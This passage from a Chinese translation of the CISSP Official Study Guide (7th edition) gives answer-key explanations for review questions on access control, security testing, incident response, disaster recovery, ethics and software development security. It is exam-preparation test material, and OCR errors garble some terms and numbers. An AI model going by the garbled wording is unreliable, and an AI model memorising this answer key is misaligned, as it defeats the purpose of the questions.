和密码长度有助于确保用 户 创建强密码。 密码年龄可确保用户 定期更改密码。
9. B. 密码短语是一个很容易记住的长字符串 ， 例如 IP@$$edTheCISSPEx@m。 它不短并且通
常包括所有 4 组字符类型 。 它 的强大和复杂 ， 使它很难破解。
1 0. A. 类型 2 认证因素基于你拥有什么 ， 例如智能卡或令牌设备。 类型 3 认证是基于你是什么 ，
有时是你做的 ， 它使用物理和行为生物测定方法。类型 l 身份认证基于你知道什么 ， 例如密码或 PlN。
11. A. 同步令牌生成并显示与认证服务器同步的一次性密码。 异步令牌使用挑战-响应过程来生
成一次性密码。 智 能卡不生成一次性密码， 通用访 问卡是包含用 户 图 片 的智能卡版本。
1 2. B 诸如指纹和虹膜扫描的物理生物测定方法为主体提供认证。 账户 D 提供标识。 令牌是
你拥有的 ， 它创建一次性密码 ， 但它与物理特性无关。 个人识别码(PIN)是你知道的 。
13. C. 生物特征类型 l 错误(错误拒绝率)和类型2错误(错误接受率)相等的点是交叉错误率
(CER) 。 较低的 CER 表示较高质量的生物测定设备。 它 不表示灵敏度太高或太低。
14. A. 当一个有效主体未被认证时， 发生类型 l 错误(错误拒绝或错误否定)。 当无效主体被认
证时， 发生类型 2 错误(错误接受或错误肯定)。 交叉误差率(也称为相等误差率)将类型 l 错误与类型
2 错误 的 比率进行 比较， 并提供生物测定系统的精度测量。
1 5. C. Kerberos 的主要 目 的是认证， 因为它允许用户证明他们的身份。 它还使用对称密钥加密
来提供机密性和完整性的度量， 但这些不是主要 目 的 。 Kerberos 不包括 日 志记录功能， 因此它不提
供可 问 责性 。
1 6. D. SA1也是一个基于 泊在L 的框架， 用 于在联合身份管理系统内 的组织之间交换单点登录
(SSO)的用户信息。 Kerberos 在单个组织而不是联盟中支持 SSO。 盯ML 仅描述数据的显示方式。
可 以使用 x1在L， 但它需 要重新定义 己在 SAML 中定义的标记。
附录 A 复习题答案
17. B. 网络访问服务器是 RAD町S 架构中的客户端。 RADIUS 服务器是认证服务器， 提供认证、
授权和计费(AAA)服务 。 网络访 问 服务器可能启 用 了 主机防火墙 ， 但这不是主要功能。
18. B. Diameter 基于 RADIUS， 它支持移动 E 和 IP 语音 。 诸如联合身份管理系统的分布式访
问控制系统不是特定协议， 并且它们不一定提供认证、 授权和计费。 TACACS 和 TACACS +是 AAA
协议， 但它们是 RADIUS 的替代， 不基于 RADIUS。
19. D. 最小特权原则遭到违反， 因为他保留 了他以前在不同部门 的所有行政职位的特权。 隐式
拒绝确保只 允许明确授予的访问权限， 但是明确授予管理员权限。 虽然管理员 的操作可能导致可用
性的损失， 但可用性 的损失不是一条基本原则。 防御性特权不是有效的 安全原则 。
20. D. 账户 审查可以发现用户 何时具有比他们所需的更多的权限， 并且可以用于发现此员工拥
有来自 多个位置的权限。 强认证方法(包括多因素认证)吓会阻止这种情况下的 问题。 记录可能记录
了 活动 ， 但需要进行审查 以发现问题。
第 1 4 章 控制和监控访问
1. B. 隐式拒绝原则确保对对象的访问被拒绝， 除非己明确允许(或明确授予)对主体的访问权。
它不允许所有未被拒绝的操作 ， 井且不要求拒绝所有操作 。
2. C. 最小特权原则确保用户(主体)只获得他们执行其工作任务和工作职能所需的最严格的权
限 。 用户不执行系统进程。 最小特权原则不 强制 实施最低限制性的权限， 而是最严格的权限。
3. B. 访问控制矩阵包括多个对象， 并且其列出主体对每个对象的访问。 访 问控制矩阵内 的任
何特定对象的单个主体列表是访问控制列表。 联合是指共享用于单点登录的联合身份管理系统的一
组公司 。 蠕变特权是指受试者随着时间过去收集的过度特权。
4. D. 数据保管人(或所有者)在 自 由访问控制ρAC)模型中 向用户授予权限。 管理员为其拥有的
资源授予权限， 但不授予 DAC 模型中所有资源的权限。 基于规则的访问控制模型使用访问控制列
表 。 强制访 问 控制模型使用标签 。
5. A. 自 主访问控制模型是基于身份的访问控制模型。 它允许资源的所有者(或数据保管人)在所
有者的判断下授予权限。 基于角色的访问控制模型基于角色或组成员 资格， 基于规则的访问控制模
型基于其中规则的 ACL。 强制访 问 控制模型使用分配的标签来标识访 问 。
6. D. 非自主访 问控制模型使用 中 央权威来确定用户 (和其他主体)可 以访问哪些对象(例如文
件)。 相反， 自 由访问控制模型允许用户授予或拒绝访问他们拥有的任何对象。 ACL 是一种基于示
例或基于规则的访问控制模型。 访问控制矩阵包括多个对象， 并且其列出 主体对每个对象的访问 。
7. D. 基于角色的访问控制模型可以基于组织的层次结构， 将用户分组到角色， 它是一个非 自
主的访问控制模型。 非 自主访问控制模型使用中央权威来确定受试者可以访问哪些对象。 相反， 自
由访问控制模型允许用户授予或拒绝访问他们拥有的任何对象。 ACL 是使用规则(而不是角色)的基
于规则 的访问控制模型示例 。
8. A. role-BAC 模型基于角色或组成员 资格， 用户可以是多个组的成员 。 用户不仅限于单个角
色。 role -BAC 模型基于组织的层次结构， 因此它们是基于层次结构的 。 强制访问控制模型使用分配
的标签来标识访问 。
9. D. 开发者在基于角色的访问控制模型中 是有效的角色。 管理员 可以将开发者的用户账户 置
于开发者角 色 ， 并为该角 色分配权限 。 角 色通常用于组织用 户 ， 其他答案不是用户 。
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CISSP 官方学 习指南(第 7 版)
1 0. D 基于规则的访问控制模型使用适用于所有用户和其他主体的全局规则。 它不会在本地应
用规则 ， 或应用于个人用 户 。
11. C. 防火墙使用基于规则的访问控制模型， 其中规则在访问控制列表中表示。 强制访问控制
模型使用标签。 自 主访问控制模型允许用户分配权限。 基于角色的访问控制模型按组组织用户 。
12. C. 强制访问控制依赖于对主体和客体使用标签。 非自主访问控制系统允许客体的所有者控
制对客体的访问 。 非 自 主访问控制可 以集中管理， 例如部署在防火墙上的基于规则的访问控制。 基
于角色的访 问控制 基于任务相关角色定义主体 的访问。
1 3. D. 强制访问控制模型是禁止的， 它使用|强式否认理念(不是显式否认理念)。 它不是允许的，
以及它使用标签而不是规则 。
14. D. 基于 Lettuce 的访问控制模型不是有效类型的访问控制模型。 其他答案列出 了有效的访
问控制模型 。 基于网格(不基于 Le阳ce 的)访 问 控制模型是一种强制访 问 控制模型 。
1 5. C. 漏洞分析标识漏洞， 可 以包括定期漏洞扫描和渗透测试。 资产评估决定资产的价值， 而
不是弱点。 威胁建模试图识别威胁， 但威胁建模不能识别弱点 。 访问审查审计账户管理和对象访问
实践。
16. B 账户锁定策略将在用户 输入错误的密码太多次后锁定账户 ， 这会阻止在线暴力攻击。 攻
击者在离线密码攻击中使用彩虹表。 密码盐降低彩虹表的效果。 力口密密码保护密码， 但不能防止暴
力攻击。
1 7. B. 旁路攻击是一种被动的 、 非入侵的攻击， 用于观察设备的运行， 并且可以用于对某些智
能卡的检测。 方法包括电源监视、 定时和故障分析攻击。 捕鲸是一种针对高级管理人员的网络钓鱼
攻击。 暴力攻击试图通过使用所有可能的字符组合来发现密码。 彩虹表攻击用于破解密码 。
1 8. C. 捕鲸是一种针对高级管理人员的网络钓鱼形式。 鱼叉式网络钓鱼针对特定群体， 但不一
定是高级管理人员 。 钓鱼是一种通常使用 IP 语音(VoIP)的 网络钓鱼形式。
1 9. B. 威胁建模有助于识别、 理解和分类潜在的威胁。 资产评估确定 资产的价值， 脆弱性分析
确定了可 以被威胁利用 的弱点 。 访问审查和 审计可确保账户 管理实践支持安全策略 。
20. A. 资产评估确定资产的实际价值， 以便确定优先顺序。 这将确保顾问专注于高价值资产。
威胁建模识别威胁， 但应首先进行资产评估， 以便关注高价值资产的威胁。 脆弱性分析确定弱点，
但应注重高价值资产。 审计跟踪可用于重新创建导致事故的事件， 但如果尚未创建事件， 则现在创
建它们将无济于事 ， 除非组织再次受到攻击。
第 1 5 章 安全评估和测试
1. A. nmap 是一种网络发现扫描工具， 它报告远程系统打开的端 口 。
2. D. 只 有开放端口代表潜在的重大安全风险。 端 口 80和443 预先在 Web 服务器上打开。 端
口 1433 是数据库端 口 ， 不应暴露给外部网络。
3. C. 存储在系统上的信息的敏感性、 执行测试的难度和攻击者针对系统的可能性都是计划安
全测试任务时的有效考虑因素。 尝试新测试工具的需求不应影响生产测试计划 。
4. C. 安全评估包括 旨在识别漏洞的许多类型的测试， 评估报告通常包括缓解建议。 然而， 评
估并不包括实际缓解这些漏洞 。
5. A. 安全评估报告应提交给组织的管理层。 因此， 它们应该用简 明 的语言来写， 井避免技术
附录 A 复 习题答案
术语。
6. B. 使用 8 位子网掩码意味着 E 地址的第 l 个 8 位宇节表示网络地址。 在这种情况下， 这意
味着 1 0.0.0.0/8 将扫描 以 1 0 开头的任何 IP 地址 。
7. B. 服务器可能在端 口 80 上运行网站。 使用 Web 浏览器访问网站可能会提供有关网站意图 的
重要信息 。
8. B. SSH 协议使用端 口 22 来接受与服务器的管理连接。
9. D. 经过身份认证的扫描可以从目 标系统读取配置信息， 并减少假阳性和假阴性的报告实例。
1 0. C. TCP SYN 扫描发送 SYN 分组并接收 SYNACK 分组作为响应， 但它不发送完成三次握
手所需 的最终 ACK。
11. D. SQL 注入攻击是 Web 漏洞， 并且 Matthew 最好由 Web 漏洞扫描程序提供服务。 网络漏
洞扫描程序也可能会检测到此漏洞， 但是 Web 漏洞扫描车到芋是专门为此任务设计的， 并且更有可能
成功 。
1 2. C. PCI DSS 要求 Badin 至少每年并在应用程序发生任何更改后重新扫描应用程序 。
13. B. Metasploit 是一个 自 动化的利用工具， 允许攻击者轻松执行常见的攻击技术。
1 4. C. 变异模糊测试使用 比特翻转和其他技术来略微修改程序的先前输入， 以试图检测软件
缺陷。
1 5. A. 滥用案例测试识别攻击者可能利用系统并明确测试以查看这些攻击在提议的代码中是否
可能的己知方式。
1 6. B. 用 户 界面测试包括对软件程序 的 图形用户 界面(GUI)和命令行界面(CLI)的评估。
1 7. B. 在白盒渗透测试期间 ， 测试人员可 以访 问有关被测系统的详细配置信息 。
1 8. B. 默认情况下 ， 未加密 的 HTTP 通信在 TCP 端 口 80 上进行。
1 9. C. Fagan 检查过程在后续 行动阶段结束。
20. B. 备份验证过程确保备份正常运行， 从而满足组织保护数据的目标。
第 1 6 章 管理安全运营
1. C. " 知其所需" 是获取、 了 解或拥有以执行特定工作任务所要求的数据， 而不是更多数据。
最小特权原则包括权限和许可， 但是术语 "最小特权原则 " 在 IT 安全中无效。 职责分离确保个人不
控制所有元素的过程 。 基于角色 的访 问控制是基于角色授予对资源的访问权限。
2. D. 默认访问 级别应为无访 问权限。 最小特权原则指示用户应该仅被授予他们完成工作所需
的访问级别， 井且问题不指引 新用户 需要任何访问。 i卖取访问 、 修改访问和完全访问授予用户某种
级别的访问， 这违反了 最小特权的原则 。
3. C. 职责分离策略阻止单个人控制所有元素的过程， 并且当应用安全设置时， 它可以防止单
个人在没有援助的情况下进行主要的安全变更。 岗位轮换有助于确保多个人执行相同的工作 ， 并可
以帮助防止单个人离开时丢失信息。 让员工集中聪明才智 与职责分离无关。
4. B. 岗位轮换和职责分离策略有助于防止欺诈。 共谋是多个人之间执行某些未授权或非法行
为的协议， 并且实施这些策略有助于防止欺诈。 它们不能防止串通， 当然不是为了 鼓励员工与组织
勾结。 它们帮助阻止和防止事件 ， 但它们不纠正它们 。
5. A. 岗位轮换策略使员 工轮换岗位或工作职责， 井可帮助检测共谋和欺诈的发生。 职责分离
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CISSP 官方学习指南(第 7 版)
策略确保单个人不控制特定职能的所有要素。 强制性休假策略确保员工较长时间离开工作， 需要其
他人履行工作职责， 这增加了发现欺诈的可能性。 最小特权确保用户 仅具有执行其作业所需的权限，
而没有更多的权限。
6. B. 强制性休假策略有助于检测欺诈。 他们要求员工较长时间离开工作， 要求其他人履行他
们的工作职责， 这增加 了发现欺诈的可能性。 它不会轮换工作职责。 虽然强制性休假可能有助于员
工 降低总体压力水平 ， 从而提高生产力 ， 但这井不是强制性休假策略的主要原因 。
7. A、 B和c. 岗位轮换、 职责分离和强制性休假策略都有助于减少欺诈。 基线用于配置管理，
并且不会帮助减少 串 通或欺诈。
8. B. 不应该向管理员和操作员授予相同特权。 相反， 应该仅向个人授予他们执行工作所需的
特权。 特殊权限需要特殊访问或提升权限， 以执行管理和敏感工作任务。 应该监视这些权限的分配
和使用情况， 并且只应向受信任的个人授予访 问权限。
9. A. 服务级别协议指明诸如供应商的第三方责任， 并且如果供应商不担负所述的 责任， 则可
以处以罚金。 MOU 是非正式协议， 不包括罚款。 ISA 定义了建立、 维护和断开连接的需求。 SaaS
是基于云的服务模型之一 ， 不指定供应商责任。
1 0. C. 系统在其生命周期结束时应进行净化， 以确保它们不包括任何敏感数据。 删除 CD 和
DVD 是净化过程的一部分， 但是还应检查系统的其他元素(例如磁盘驱动器)， 以确保它们不包含敏
感信息 。 除非组织的净化过程需要删除软件许可证或安装原始软件 ， 否则不一定需要。
11. A. 有价值的资产需要多层次的物理安全， 并且将数据中 心放置在建筑物的中心有助于提供
这些额外的保护层 。 将有价值的 资产放置在外墙附近(包括建筑物后部)会消除一些安全层 。
1 2. D. VM 需要单独更新， 就像它们在物理服务器上运行一样。 对物理服务器的更新不会更新
托管的 VM。 同样， 更新一个 VM 不会更新所有 VM。
13. A. 在租赁 IaaS 云资源时， 组织对维护和安全负有最大的责任。 云服务提供商提供 PaaS 模
型 时承担更多责任， 提供 SaaS 模型时承担最大责任。 CaaS 不是基于云的服务模型的有效名称 。
14. C. 社区云部署模型向两个或多个组织提供基于云的资产。 公共云模型包括可供任何消费者
出 租或租赁的资产。 私有云部署模型包括单个组织的基于云的资产。 混合模型包括两个或多个部署
模型的组合。
1 5. B. 磁带应该被清除， 确保无法被任何己知方法恢复数据。 即使磁带可能在它们的生命周期
结束， 它们仍然可以保存数据， 并且在将它们丢弃之前应该被清洗。 擦除不会从介质 中删除所有可
用 的数据 ， 但是清洗可 以 。 如果磁带在生命周期结束时 ， 则不需要存储磁带。
16. B. 映像可以是使用基线的有效配置管理方法。 映像可确保系统以相同 的 己知配置进行部署。
变更管理过程有助于防止擅 自 更改的中断。 漏洞管理过程有助于识别漏洞， 补丁管理过程有助于确
保系统保持最新。
17. A. 变更管理过程可能需要暂时绕过以应对紧急J情况， 但不应该只是因为有人认为可以提高
性能而绕过它们。 即使在紧急情况下实施变更， 也应在事件发生后记录和审查 。 请求更改、 创建回
滚计划和记录更改都是变更管理过程中 的有效步骤。
1 8. D. 变更管理过程将确保在实施变更之前对变更进行评估， 以防止意外中断或不必要地削弱
安全性。 补丁管理确保系统是最新的， 漏洞管理检查己知漏洞的系统， 配置管理确保系统被相似地
部署， 但这些其他流程不会阻止未授权的变更。
1 9. C. 只 应部署所需的补丁程序， 组织将不会部署所有补丁程序。 相反， 组织会评估补丁以确
定需要哪些补丁， 测试它们并且确保它们不会导致意外问题， 部署己批准和己测试的补丁， 井审核
附录 A 复 习题答案
系统以确保 己应用 了补丁。
20. B 漏洞扫描程序用于检查系统中 的 己知 问题， 并且是整体漏洞管理程序的一部分。 版本控
制用于跟踪软件版本， 与检测漏洞无关。 安全审计和审查有助于确保组织遵守其策略， 但不会直接
检查系统的漏洞 。
第 1 7 章 事件预防和晌 应
1 . A. 遏制是检测和验证事件后的第一步 。 这限制了事件的影响或范围 。 组织根据策略和治理
法律来报告事件， 但这不是第一步。 修复尝试识别事件的原因和可以采取的步骤来防止事件重复发
生 ， 但这也不是第一步。 重要的是在试图遏制事件时保护证据 ， 但收集证据将在遏制后发生 。
2. D. 安全人员在修复阶段执行根本原因分析。 根本原因分析尝试发现问题的根源。 在发现原
因之后， 审查将经常确定一种解决方案， 来帮助防止将来发生类似事件。 包含事件和收集证据是在
事件响应过程 的早期完成的。 在恢复阶段可能需要重建系统。
3. A、 B和c. 泪滴、 smurf和死亡 Ping 都是 DDoS 攻击的类型。 攻击者使用欺骗在各种攻击中
隐藏他们的身份， 但欺骗不是攻击本身 。
4. C. SYN泛洪攻击通过从不发送第三个包来中断TCP 三次握手过程。 它不是任何特定的唯一
的操作系统， 如 Windowso smurf 攻击使用放大网络来泛洪受害者的数据包。 死亡攻击使用超大的
pmg 数据包。
5. B. 零日漏洞利用 了 以前未知的漏洞。 僵尸 网络是由僵尸牧人控制 的一组计算机， 可 以发起
攻击， 但他们可以利用 己知的漏洞和以前未知的漏洞。 类似地， 拒绝服务(DoS)和分布式 DoS(DDoS)
攻击可 以使用零日漏洞或使用 己知的方法。
6. A. 在提供的选项中 ， 偷疲式下载是最常见的恶意软件分发方法。 USB 闪存驱动器可用于分
发恶意软件， 但此方法不如偷渡式下载常见。 Ransomware 是一种恶意软件感染， 不是分发恶意软件
的方法。 如果用户能够安装未经批准的软件， 他们可能会无意中安装恶意软件， 但这不是最常见的
方法。
7. A. IDS 自 动检查审计 日 志和实时系统事件来检测和显示未授权系统访问 的异常活动。 虽然
IDS可以检测系统故障和监视系统性能， 但它们不包括诊断系统故障或评估系统性能的能力。 漏洞
扫 描程序用 于测试系统的漏洞。
8. B. HIDS 监视单个系统 以寻找异常活动。 基于网络的 IDS(NIDS)监视网络上的异常活动。HIDS
通常作为系统上正在运行的进程可见， 井 向授权用户 提供警报。 HIDS 可 以检测恶意代码， 类似于
反恶意软件如何检测恶意代码。
9. B. 蜜罐是单独的计算机， 并且蜜网是被创建用于入侵者的陷阱的整个网络。 它们看起来像
合法的网络， 诱骗入侵者有未打补丁和未受保护的安全漏洞， 以及有吸引 力和诱人但虚假的数据。
入侵检测系统(IDS)将检测攻击。 在某些情况下， IDS 可以将攻击者转移到填充单元， 这是一个模拟
环境， 用假数据保持攻击者兴趣。 伪缺陷(由许多蜜罐和蜜网使用)是有意植入系统中 以诱骗攻击者
的错误漏洞 。
1 0. C. 多个解决方案提供了 最佳解决方案。 这涉及在几个位置(诸如在互联网和内 部网络之间的
边界处， 在电子邮件服务器以及每个系统上)部署反恶意软件 。 不推荐在单个系统上使用多个反恶意
软件应用程序 。 整个组织的单一解决方案通常是无效的 ， 因 为恶意软件可以 以多种方式进入网络。
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边界网关(互联网和内部网络之间 的边界)上的 内容过滤是一个很好的部分解决方案， 但它不会捕获
通过其他方法带入的恶意软件。
1 1 . B. 渗透测试应该在管理人员知情和同 意的情况下进行。 未经批准的安全测试可能会导致生
产力损失， 触发应急响应小组， 并对测试者采取法律行动， 包括失业。 渗透测试可以模仿以前的攻
击 ， 并使用手动和 自 动攻击方法。 在渗透测试之后 ， 可 以重新配置系统 以解决发现的漏洞 。
1 2. B. 通过监视主体和客体的活动以及维护操作环境和安全机制的核心系统功能来维护可问 责
性。 有效监控需要认证， 但它本身不提供可问 责'性。 如果输入错误的密码次数过多， 账户锁定会阻
止登录到账户 。 用户权利审核可 以识别过多 的权限。
13. B. 审计跟踪是一种被动形式的侦探安全控制。 行政控制是管理实践。 纠正控制可以纠正与
事件相关 的 问题， 物理控制是可 以接触的控制 。
14. B. 审计是对环境系统检查或审查的方法， 确保遵守法规、 检测异常、 未授权的事件或直接
的犯罪 。 渗透测试试图利用漏洞。 风险分析试图基于己识别的威胁和漏洞来分析风险。 诱骗是欺骗
某人进行非法或未授权的行为。
1 5. A 闽值是非统计抽样的一种形式， 根据限幅水平阔值减少记录数据的量。 抽样是一种从审
计日志中提取有意义数据的统计方法。 日 志分析审查查找趋势、 模式和异常或未授权事件的日志信
息 。 警报触发是在发生特定事件或阔值时向 管理员发送的通知。
1 6. B. 流量分析更侧重于数据的模式和趋势， 而不是实际内容。 按键监视记录特定按键来捕获
数据。 事件 日 志记录特定事件以记录数据。 安全审计记录安全事件和思戈审查 日 志以检测安全事件。
17. B. 用户权利审核可以检测用户何时具有比所需权限更多 的权限。 账户管理实践尝试确保权
限被正确分配。 审计检查是否遵循了 管理实践。 记录日 志活动， 但是需要检查 日 志以确定是否遵循
实践。 报告是审计的结果。
1 8. D. 保安应该收集证据， 以便可能起诉攻击者。 检测和验证事件后的第一个响应是包含事件，
但可能己被包含而不重新启动服务器。 经验教训阶段包括审查， 这是最后阶段。 修复包括根本原因
分析来确定允许事件的原因， 但这在过程的后期完成。 在这种情况下， 重新启动服务器执行恢复。
1 9. C. 攻击 E 地址是最严重的错误， 因 为它在大多数位置是非法的 。 此外， 由于攻击者经常
使用欺骗技术， 它可能不是攻击者的实际 E 地址 。 重新启动服务器而不收集证据并且不报告事件是
错误， 但不会对组织产生潜在的持久负面影响。 重置连接以隔离事件将是一个很好的步骤， 如果没
有重新启 动服务器的话。
20. A. 管理员没有报告事件， 因此没有机会执行经验教训步骤。 可能是事件发生了 ， 因 为服务
器上的漏洞， 但没有进行检查 ， 确切的原因不会知道， 除非攻击重复。 管理员检测到事件并做出 响
应(虽然不适当)。 重新启动服务器是一个恢复步骤。 值得一提的是， 事件响应计划被保密， 服务器
管理员无法访问它， 因 此可能不知道正确的 响应应该是什么 。
第 1 8 章 灾难恢复计划
1. c. 一旦灾难中 断业务运行， DRP 的目标是尽快恢复正常的业务活动 。 因此， 灾难恢复计划
在业务连续性计划停止的地方起作用 。
附录 A 复习题答案
2. C. 电力中 断是人为灾难的一种形式。 这里列出 的其他几种事件(海啸、 地震和闪 电)都是 自 然
界 中 的事件。
3. D. 50 个州中的 40 个州被认为具有 " 中级 "、 " 高级 " 或 "很高" 的地震风险。
4. B. 大多数常规业务保险和业主保险策略不提供对洪水或山 洪的保护。 如果洪水对你的企业
构成了风险， 那么就应当考虑购买根据 FEMA 的 国 家洪水灾害保险计划提供的洪水保险。
5. C. 虽然选项中列出 的所有行业在 9 . 1 1 事件后都改变了各自 的运营， 但是保险业的责任范围
被修改为不再包括对 BCP/DRP 过程具有最直接影响 的恐怖活动 。
6. C. 这个选项的说法反过来就对了 : 灾难恢复计划在业务连续性计划中止时开始。 其他三句
话都是业务连续性计划和灾难恢复计划 的实际反映。
7. B. 术语 " 百年洪泛区" 被用来描述某个地区每隔一百年出现一次洪水。 它还可以被理解为
每年只有 1 %的可能性发生洪水。
8. D. 当使用远程镜像的时候， 数据库的实际副本是在替代场所进行维护的。 通过同时在主场
所和远程场所执行所有的事务 ， 可 以保持远程数据库副 本的实时更新。
9. C. 冗余的系统/组件为某部分硬件出 现故障提供了 保护 。
1O. B. 在业务影响评估阶段， 必须确定组织业务的优先级， 从而帮助进行 BCP 资源的分配。
这些相 同 的信息同样可 以用来帮助 DRP 业务单元的优先级排列 。
11. C. 冷站点不包含任何恢复运营所需的设备。 在开始运营之前， 所有的设备都必须进行购买
和配置， 并且还原其中 的数据 。 这通常需要花费数星期的时间 。
12. C. 温站点从宣布灾难开始到启用大约需要 1 2 个小时的时间。 这是为了与立刻就能启用 的
热站点和使冷站点恢复到运营状态的时间(至少一个星期)进行 比较。
13. D. 温站点和热站点都包含恢复运营状态所需的工作站、 服务器和通信线路。 这两种替代场
所之间 的主要差别是: 热站点中运营数据的副本基本上是实时的， 而温站点需要从备份磁带中还原
数据 。
14. D 远程镜像是唯一的备份选项， 其中远程站点上的活动备份服务器维护主服务器内容的位
对位副本， 与 主系统和远程系统之间链接中 的延迟同步一致。
15. A. 执行摘要提供了整个组织灾难恢复工作的高度概括。 这份文件对公司 的经理和领导以及
需要对这种复杂努力有非技术观点 的公共关系专家有用 。
16. D 软件托管协议将应用程序的源代码放在独立的第三方手中 ， 这样在开发商不能满足服务
级别协议条款或开发商的公司破产时 ， 能够为使用软件的公司提供 " 安全网 " 保护 。
1 7. A. 差异备份总是存储那些 自 从最近一次完整备份以来被修改过的所有文件的副本， 无论间
隔期内是否创建了增量备份或差异备份 ， 都是如此。
1 8. C. 任何备份策略都必须包含在备份过程的某一时刻进行完整备份。 考虑到每次需要备份的
文件数量， 增量备份 的创 建速度 比差异备份快。
1 9. A. 任何备份策略都必须包含在备份过程的某一时刻进行完整备份。 如果使用完整备份和差
异备份的组合， 那么最多还原两份备份。 如果使用完整备份和增量备份的组合， 那么需要还原的备
份数量是无限的。
20. B. 并行测试涉及将人员 转移到恢复场所并开始运营， 但主运营中心的 日 常业务仍要保持
运作 。
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CISSP 官方学习指南(第 7 版)
第 1 9 章 事件与道德规范
1. c. 犯罪是任何对法律或法规的违反行为。 犯罪条款定义了犯罪的行为。 如果违规涉及计算
机(作为 目 标或工具)， 那么 它就是计算机犯罪 。
2. B. 军事和情报攻击针对系统 中存在的机密数据。 对于攻击者来说， 信息的价值证明这样一
种攻击是值得的。 从这种类型攻击中 获得 的信 息 常常被用于计划后续的攻击。
3. A. 与军方或情报机构无关的机密信息是商业攻击的 目 标， 其最终的 目 标可能是破坏、 更改
信息， 也 可能是机密信息 的泄漏 。
4. B. 财务攻击主要专注于非法获得服务和钱财。
5. B. 恐怖攻击通过营造恐怖的气氛干扰人们的生活。 计算机恐怖攻击可以通过降低对同时发
生 的物理攻击的响应能力来实现这个 目标。
6. D 任何损害组织或个人的行为， 不论是直接的还是利用令人为难的事情， 都将是恶意攻击
的有效 目 标。 这样一种攻击的 目 标是对 某人实行报复。
7. A和c. 兴奋攻击除了可以产生骄傲和 自负以外， 没有任何回报。 发动兴奋攻击的兴奋来自
于攻击的实际参与(而不是获得利益)。
8. C. 虽然其他答案在单独情况中有一些贴近， 但是最重要的规则是永远不要修改或损毁证据。
如果修改了 证据 ， 那么在法庭上它们是不予承认的 。
9. D 不能拔掉电源的最主要原因 是将失去内存中的数据。 一定要仔细考虑拔掉电源的正面和
负面因素。 在考虑所有因素后， 才可能是最佳选择。
1 0. B和D. 黑客行动主义者(这个词是黑客和行动主义者的组合)经常将政治动机与黑客的剌激
结合在一起。 他们将 自 己松散地组织成名为 Anonymous 和 Lo1zsec 的 团体， 并使用低轨离子炮这样
的 工具创建大规模的拒绝服务攻击 ， 这只 需要很少的知识。
11. D. 事故通常被定义为对数据的机密性、 完整性或可用性产生负面影响 的任何事件。
12. B. 一些端 口 扫描是正常的。 大量异常的端 口扫描行为可能是更危险的攻击之前的侦察活
动 。 当 发现异常的端 口 扫描时， 应当始终对其进行调查。
13. A. 在攻击者超越其权限时， 这种事故被划分为系统威胁， 其中包括合法用户超出 自 己的权
限范围 以及非法用户通过使用合法用户的 ID 获得访 问权。
1 4. C. 尽管选项 A、 B 和 D 中 的行为让你意识到是某种攻击和如何检测它们， 但除非你了解自
己的系统， 否则永远不可能成功地检测出大多数攻击。 若你知道你的系统中每天正常的活动是怎样
的 ， 就可 以立即检测 到所有的异常活动。
15. B. 在这道题中， 你需要一张搜查证， 从而能够在嫌疑人毁掉证据之前没收设备。 如果嫌疑
人为你的组织工作， 并且你拥有所有员工签署的同意协议， 那么就能够比较容易地没收这些设备。
1 6. A. 日 志文件中包含了 大量无用的信息。 但是， 当你试图跟踪一个问题或事故的时候， 它们
的价值可能无法衡量。 即使事故在发生的时候被发现， 也可能已经被其他事故覆盖。 日 志文件提供
了 有价值的线索 ， 并且应当加 以保护和归档 。
1 7. A和D. 你必须对导致违反法律或规章 的事故进行报告。 这包括汇报发生的任何损失(以及
潜在损失)或者受保护的信息被泄漏 。
1 8. D. 道德规范就是个人行为的规则 。 许多专业组织都通过制定正规的道德规范来约束 自 己的
员工， 但道德规范也是个人用 来指导 自 己行为的规则 。
附录 A 复 习题答案
1 9. B. (ISCi道德规范准则中 的第二个标准描述了 CISSP 应该具有的行为， 即行为得体、 诚实、
公正、 负 责和遵守法律 。
20. B. 在选项 A、 C或D 中没有明确说明 盯C 1 087。 尽管列出 的每一种类型的行为都是不可
接受的 ， 但是只有选项 B 中确定 了 行为在 盯C 1 087 中 进行了说明。
第 20 章 软件开发安全
1. A. DevOps 模型的三个要素是软件开发 、 质量保证和 IT 操作 。
2. B. 输入验证确保用户提供 的输入与设计参数匹配。
3. C. 请求控制 向用户提供请求更改 的框架 ， 开发人员有机会优先处理这些请求。
4. C. 在 故障保护状态下 ， 系 统保持高级别 的 安全性， 直到管理员干预。
5. B. 瀑布模型使用 7 阶段方法进行软件开发， 并且包括反馈回路， 其允许开发返回到上一阶
段 以校正在后续阶段发现的缺陆 。
6. A. 内 容相关的访 问控制 关注每个字段 的 内 部数据。
7. C. 外键被用于在存在关系 的表之间强制实施参照完整性。
8. D. 在这里， 数据库用户利用 的处理过程是聚合。 聚合攻击涉及使用专 门的数据库函数组合
来 自 大量数据库记录的信息， 最后显示的信息可能 比单独记录显示的信息更敏感。
9. C 多实例准许多条记录的插入， 看起来在一个数据库中 有相 同 的主键值(处于不同 的分类
级别)。
1 0. D. 在敏捷中 ， 最高优先级通过早期和持续交付有价值的软件来满足客户 。
11. C. 专家系统利用包含一系列 " i:fì'由四" 语句的知识库， 基于人类专家以前的经验形成决策。
1 2. D. 在可管理阶段 ， SW-CMM 的第 4 级 ， 组织使用 定 量措施来详细 了 解开发过程。
13. B. ODBC 扮演 了 应用 程序和后端 DBMS 之间代理的角色。
14. A. 为了进行静态测试， 测试人员 必须访 问 底层源代码 。
15. A. 甘特图是一种条形图 ， 显示项 目和计划之间的时间相互关系。 它提供了一个时间表的图
形说明 ， 这样有助于计划、 协调和跟踪项 目 中 的特定任务。
1 6. C. 污染是来自 较高分类级别的数据和/或需知需求与来 自较低分类级别的数据和/或需知需
求的混合。
17. A. 数据库开发人员使用 多实例， 创建似乎具有相同 主键的多条记录， 以防止推理攻击。
1 8. C. 配置审计是配置管理过程的一部分， 而不是更 改控制过程的一部分。
19. C. 隔离性原则规定 ， 对相同数据'进行操作的两个事务必须在时间上彼此隔离， 从而使一个
事务不会妨碍另 一个事务。
20. B. 表 的基数是指表中 的行数， 而表的度是列数。
第 21 章 恶意代码与应用攻击
1. A. 签名检测机制使用 己 知的病毒描述来识别驻留在系统上 的恶意代码 。
2. B. DMZ(非军事区)设计为容纳诸如 Web 服务器的系统， 这些系统必须能够从内部和外部网
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CISSP 官方学习指南(第 7 版)
络访问 。
3. B. 检验时间 到使用 时间(TOCTTOU)攻击依赖于这两个事件的执行时间 。
4. D. 应用程序自 名单要求管理员指定己批准的应用程序， 然后操作系统使用此列表仅允许己
知 的 良好应用程序运行。
